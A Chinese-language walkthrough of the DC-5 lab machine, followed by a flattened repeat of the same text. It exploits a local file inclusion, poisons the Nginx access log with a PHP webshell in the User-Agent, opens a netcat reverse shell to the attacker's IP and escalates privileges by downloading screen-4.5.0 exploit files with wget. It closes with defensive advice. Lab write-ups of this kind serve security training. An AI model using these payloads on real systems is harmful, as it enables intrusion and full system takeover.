DC系列靶机丨DC5
字数 1151 2025-08-11 17:40:08

DC5靶机渗透测试详细教学文档

信息收集阶段

1. 确定目标主机IP

使用netdiscover工具扫描本地网络,确定靶机IP地址:

netdiscover -i eth0 -r 192.168.84.0/24

2. 端口扫描

使用nmap进行端口扫描,识别开放的服务:

nmap -sV -p- 192.168.84.181

WEB应用测试

1. 目录扫描

使用工具如dirb、dirsearch或gobuster进行目录扫描,发现以下关键页面:

  • http://192.168.84.181/footer.php
  • http://192.168.84.181/thankyou.php

2. 网页观察

  • footer.php页面每次刷新时显示的年份会变化(2017、2018、2019、2020)
  • thankyou.php页面也有相同行为
  • 其他页面的页脚固定显示2019年
  • 推测thankyou.php可能包含footer.php文件

3. 文件包含漏洞测试

基于观察结果,猜测可能存在文件包含漏洞:

  1. 尝试通过file参数包含文件:

    http://192.168.84.181/thankyou.php?file=/etc/passwd
    

    成功读取到/etc/passwd文件内容,确认存在本地文件包含(LFI)漏洞

  2. 服务器环境确认:

    • 操作系统:Linux
    • Web服务器:Nginx

漏洞利用

1. 利用Nginx日志写Webshell

  1. 获取Nginx日志信息:

    • 默认日志路径:/var/log/nginx/
    • 配置文件路径:/etc/nginx/nginx.conf
    • 通过LFI读取配置文件确认日志位置
  2. 将PHP代码写入日志:

    • 使用Burp Suite的Repeater模块
    • 访问任意页面并在User-Agent中插入PHP代码:
      <?php system($_GET['cmd']); ?>
      
  3. 通过LFI包含日志文件执行代码:

    http://192.168.84.181/thankyou.php?file=/var/log/nginx/access.log&cmd=id
    

2. 获取Webshell

  1. 使用蚁剑连接:

    • URL: http://192.168.84.181/thankyou.php?file=/var/log/nginx/access.log
    • 密码: 1
  2. 或者直接通过浏览器执行命令:

    http://192.168.84.181/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -e /bin/bash 192.168.84.174 10086
    

权限提升

1. 获取交互式shell

在蚁剑终端中执行:

python -c "import pty;pty.spawn('/bin/bash')"

2. 查找SUID提权机会

find / -user root -perm -4000 -print 2>/dev/null

发现存在screen-4.5.0,可能存在提权漏洞

3. Screen-4.5.0提权

  1. 搜索相关漏洞并下载PoC到本地
  2. 分析sh文件内容
  3. 在本地开启HTTP服务:
    python -m http.server 10000
    
  4. 在靶机上下载PoC文件到/tmp目录:
    cd /tmp
    wget http://<攻击机IP>:10000/dc5.sh
    wget http://<攻击机IP>:10000/exploit.c
    wget http://<攻击机IP>:10000/libhax.c
    
  5. 执行提权脚本:
    chmod +x dc5.sh
    ./dc5.sh
    
  6. 等待编译完成后检查权限

总结

关键点

  1. 通过观察动态变化的页脚发现文件包含漏洞
  2. 利用Nginx日志文件写入Webshell
  3. 通过文件包含执行日志中的恶意代码
  4. 利用screen-4.5.0的SUID提权

防御建议

  1. 禁用不必要的文件包含功能
  2. 对文件包含参数进行严格过滤
  3. 将Web服务日志文件存放在Web目录之外
  4. 及时更新存在已知漏洞的软件
  5. 限制SUID权限的二进制文件数量

资源获取

关注"小白学安全"微信公众号,回复"DC"获取DC系列靶机镜像。

DC5靶机渗透测试详细教学文档 信息收集阶段 1. 确定目标主机IP 使用netdiscover工具扫描本地网络,确定靶机IP地址: 2. 端口扫描 使用nmap进行端口扫描,识别开放的服务: WEB应用测试 1. 目录扫描 使用工具如dirb、dirsearch或gobuster进行目录扫描,发现以下关键页面: http://192.168.84.181/footer.php http://192.168.84.181/thankyou.php 2. 网页观察 footer.php页面每次刷新时显示的年份会变化(2017、2018、2019、2020) thankyou.php页面也有相同行为 其他页面的页脚固定显示2019年 推测thankyou.php可能包含footer.php文件 3. 文件包含漏洞测试 基于观察结果,猜测可能存在文件包含漏洞: 尝试通过file参数包含文件: 成功读取到/etc/passwd文件内容,确认存在本地文件包含(LFI)漏洞 服务器环境确认: 操作系统:Linux Web服务器:Nginx 漏洞利用 1. 利用Nginx日志写Webshell 获取Nginx日志信息: 默认日志路径:/var/log/nginx/ 配置文件路径:/etc/nginx/nginx.conf 通过LFI读取配置文件确认日志位置 将PHP代码写入日志: 使用Burp Suite的Repeater模块 访问任意页面并在User-Agent中插入PHP代码: 通过LFI包含日志文件执行代码: 2. 获取Webshell 使用蚁剑连接: URL: http://192.168.84.181/thankyou.php?file=/var/log/nginx/access.log 密码: 1 或者直接通过浏览器执行命令: 权限提升 1. 获取交互式shell 在蚁剑终端中执行: 2. 查找SUID提权机会 发现存在screen-4.5.0,可能存在提权漏洞 3. Screen-4.5.0提权 搜索相关漏洞并下载PoC到本地 分析sh文件内容 在本地开启HTTP服务: 在靶机上下载PoC文件到/tmp目录: 执行提权脚本: 等待编译完成后检查权限 总结 关键点 通过观察动态变化的页脚发现文件包含漏洞 利用Nginx日志文件写入Webshell 通过文件包含执行日志中的恶意代码 利用screen-4.5.0的SUID提权 防御建议 禁用不必要的文件包含功能 对文件包含参数进行严格过滤 将Web服务日志文件存放在Web目录之外 及时更新存在已知漏洞的软件 限制SUID权限的二进制文件数量 资源获取 关注"小白学安全"微信公众号,回复"DC"获取DC系列靶机镜像。